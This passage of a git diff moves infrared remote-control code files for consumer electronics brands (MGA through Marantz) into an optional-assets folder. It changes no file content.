assets/resources/infrared/optional-assets/_CSV-IRDB_/MGA/VCR/87,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/MISSION/CD Player/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/MISSION/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/MISSION/CD Player/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/MISSION/CD Player/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech/0,95.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech/0,95.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech/0,95.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech/0,95.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/MSI/Unknown_PC/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/MSI/Unknown_PC/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/MSI/Unknown_PC/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/MSI/Unknown_PC/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/MSI/Unknown_lircd.conf/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/MSI/Unknown_lircd.conf/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/MSI/Unknown_lircd.conf/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/MSI/Unknown_lircd.conf/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/MSI/Unknown_test/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/MSI/Unknown_test/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/MSI/Unknown_test/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/MSI/Unknown_test/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Macro Image Technology/Unknown_MyHD/48,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Macro Image Technology/Unknown_MyHD/48,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Macro Image Technology/Unknown_MyHD/48,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Macro Image Technology/Unknown_MyHD/48,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Madrigal/CD Player/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Madrigal/CD Player/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Madrigal/CD Player/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Madrigal/CD Player/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Madrigal/CD Player/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Madrigal/CD Player/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Madrigal/CD Player/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Madrigal/CD Player/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Madrigal/CD Player/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Madrigal/CD Player/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Madrigal/CD Player/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Madrigal/CD Player/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Madrigal/Receiver/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Madrigal/Receiver/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Madrigal/Receiver/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Madrigal/Receiver/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Magnavox/DSS/128,63.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/DSS/128,63.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Magnavox/DSS/128,63.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/DSS/128,63.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Magnavox/DVD Player/135,34.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/135,34.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Magnavox/DVD Player/135,34.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/135,34.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Magnavox/DVD Recorder/135,34.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/DVD Recorder/135,34.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Magnavox/DVD Recorder/135,34.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/DVD Recorder/135,34.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Magnavox/TV/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Magnavox/TV/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/TV/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Magnavox/VCR/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/VCR/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Magnavox/VCR/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/VCR/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Majestic/Unknown_DVX377USB/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Majestic/Unknown_DVX377USB/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Majestic/Unknown_DVX377USB/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Majestic/Unknown_DVX377USB/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Makita/Drapery Controller/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Makita/Drapery Controller/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Makita/Drapery Controller/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Makita/Drapery Controller/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Malata/DVD Player/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Malata/DVD Player/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Malata/DVD Player/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Malata/DVD Player/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/18,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/18,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/18,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/18,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/21,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/21,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/21,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/21,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/23,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/23,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/23,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/23,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/26,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/26,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/26,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/26,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/CD Changer/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/CD Changer/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/CD Changer/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/CD Changer/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/CD Player/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/CD Player/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/CD Player/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Cassette Tape/18,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Cassette Tape/18,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Cassette Tape/18,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Cassette Tape/18,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/D-VHS/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/D-VHS/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/D-VHS/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/D-VHS/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/D-VHS/67,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/D-VHS/67,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/D-VHS/67,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/D-VHS/67,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/DVD Player/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/DVD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/DVD Player/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/DVD Player/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/DVD Player/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/DVD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/DVD Player/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/DVD Player/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/DVD Player/41,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/DVD Player/41,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/DVD Player/41,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/DVD Player/41,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/DVD Player/69,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/DVD Player/69,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/DVD Player/69,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/DVD Player/69,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/DVD/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/DVD/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/DVD/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/DVD/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/DVD/69,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/DVD/69,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/DVD/69,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/DVD/69,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma Displays/24,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma Displays/24,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma Displays/24,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma Displays/24,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma Displays/24,24.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma Displays/24,24.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma Displays/24,24.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma Displays/24,24.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/24,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/24,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/24,24.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,24.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/24,24.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,24.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/24,247.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,247.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/24,247.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,247.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/80,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma/80,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/80,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma/80,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Projector/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Projector/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Projector/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Projector/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/176,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/176,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/176,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/176,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/18,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/18,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/18,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/18,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/21,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/21,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/21,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/21,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/23,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/23,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/23,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/23,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/26,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/26,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/26,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/26,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/39,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/39,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/39,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/39,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/7,-1.ir rename to 